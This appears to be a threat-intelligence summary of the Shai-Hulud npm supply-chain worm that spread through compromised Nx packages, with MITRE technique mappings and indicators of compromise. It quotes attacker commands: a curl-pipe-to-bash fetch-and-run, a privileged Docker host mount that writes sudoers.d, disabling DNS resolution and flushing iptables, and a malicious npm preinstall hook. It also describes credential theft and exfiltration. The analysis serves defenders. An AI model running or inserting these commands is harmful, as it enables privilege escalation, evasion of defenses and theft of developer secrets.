Investigating Shai-Hulud: Inside the NPM Supply Chain Worm

Investigating Shai-Hulud: Inside the NPM Supply Chain Worm

Attackers exploited a GitHub Actions injection vulnerability in Nx’s workflow to steal an NPM publishing token, push malicious Nx packages, and use those packages to harvest credentials, SSH keys, and crypto wallets from developer systems. The campaign evolved into a self-replicating NPM supply-chain worm called Shai-Hulud that registers compromised hosts as self-hosted GitHub Actions runners and uses GitHub Discussions as a stealthy C2 channel. #ShaiHulud #Nx

Keypoints

  • Initial compromise exploited a GitHub Actions injection vulnerability in Nx workflows and also used phishing disguised as NPM security alerts to obtain developer credentials.
  • Attackers stole NPM publishing tokens and published malicious versions of trusted Nx packages that executed preinstall scripts to load the malware.
  • The malware family, dubbed Shai-Hulud, used trufflehog to search for secrets and exfiltrated data to attacker-controlled GitHub repositories in double Base64-encoded JSON files.
  • Shai-Hulud 2.0 expanded capabilities to register infected systems as self-hosted GitHub Actions runners (named SHA1HULUD), plant a malicious workflow (.github/workflows/discussion.yaml) and use GitHub Discussions as a C2 channel for stealthy command execution.
  • Persistence and privilege escalation attempts included registering runners, testing passwordless sudo, mounting the host filesystem via privileged Docker, and modifying sudoers.d to obtain root access.
  • Defense-evasion and impact techniques included stopping systemd-resolved and forcing attacker-controlled DNS, flushing iptables rules, and destructive logic to delete user home directories if authentication failed.

MITRE Techniques

  • [T1566 ] Phishing – Used to obtain developer credentials via a fake NPM security alert (‘a phishing email disguised as an NPM security alert to trick developers to reveal their credentials’).
  • [T1190 ] Exploit Public-Facing Application – Exploited a GitHub Actions injection vulnerability in Nx workflows to run shell commands via a manipulated pull request title (‘attackers exploited a GitHub Actions injection vulnerability inside Nx’s workflow’).
  • [T1059.007 ] Command and Scripting Interpreter: JavaScript – Malware executed JavaScript loader scripts and npm preinstall hooks (‘modified package.json with “preinstall”: node setup_bun.js’).
  • [T1105 ] Ingress Tool Transfer – Downloaded and installed tooling and runtimes (Bun, trufflehog, GitHub Actions runner) using curl/powershell downloads (‘curl -fsSL https://bun.sh/install | bash’ and Invoke-WebRequest to download actions-runner).’
  • [T1071 ] Application Layer Protocol – Abused GitHub Discussions and repository APIs as a command-and-control channel (‘abuses them—and GitHub Discussions—as its Command and Control (C2) channel’).
  • [T1078 ] Valid Accounts – Used stolen GitHub and NPM tokens to publish malicious packages, create repositories, and register self-hosted runners (‘stole the victim’s GitHub token and registers the infected system as a self-hosted runner’).
  • [T1543 ] Create or Modify System Process – Established persistence by registering a self-hosted runner and planting a malicious workflow (.github/workflows/discussion.yaml) that enables command execution via Discussions (‘planting a malicious, injection-vulnerable workflow at .github/workflows/discussion.yaml’).
  • [T1611 ] Escape to Host – Attempted privilege escalation via Docker by running privileged containers mounting the host filesystem to modify sudoers and gain root (‘docker run –rm –privileged -v /:/host ubuntu bash -c “cp /host/tmp/runner /host/etc/sudoers.d/runner”‘).
  • [T1562 ] Impair Defenses – Stopped systemd-resolved, replaced DNS configuration, and flushed iptables rules to bypass network controls and egress filtering (‘sudo systemctl stop systemd-resolved’ and ‘iptables -t filter -F OUTPUT’).
  • [T1041 ] Exfiltration Over Web Service – Exfiltrated collected secrets and host data to attacker-controlled GitHub repositories in double Base64-encoded JSON files (‘Malware exfiltrates collected data in double Base64-encoded form and as JSON files into the attacker-controlled GitHub repository’).
  • [T1485 ] Data Destruction – Implemented destructive logic to delete user home directories if authentication failed (‘it sets a condition to delete all contents within the user’s home directory’).
  • [T1526 ] Cloud Service Discovery – Enumerated cloud environment variables and abused native cloud CLIs to collect cloud credentials and configuration for GitHub, NPM, AWS, and GCP (‘The malware targets and steals authentication tokens and credentials for GitHub, NPM, AWS, and GCP’).

Indicators of Compromise

  • [File Hashes ] reported IOC blob – cbb9bc5a8496…5479cd, F099c5d9ec41…846faab8 (long concatenated hashes listed; and other hashes)
  • [URLs / Domains ] download and tooling URLs used – https://bun.sh/install, https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-win-x64-2.330.0.zip
  • [File Names ] malicious/observed filenames and scripts – setup_bun.js, bun_environment.js, package.json (with “preinstall”: node setup_bun.js), and .github/workflows/discussion.yaml
  • [Repository / Runner Names ] attacker-chosen identifiers – runner name “SHA1HULUD”, newly created repo description “Shai-Hulud: The Second Coming”
  • [Artifact Files ] exfiltration and collected data filenames – contents.json, environment.json, cloud.json, trufflesecrets.json, actionSecrets.json
  • [Commands / Shell Strings ] download and runner configuration commands observed – PowerShell Invoke-WebRequest to download actions-runner zip, curl -fsSL https://bun.sh/install | bash, and RUNNER_ALLOW_RUNASROOT=1 ./config.sh –url –token


Read more: https://the-sequence.com/investigating-shai-hulud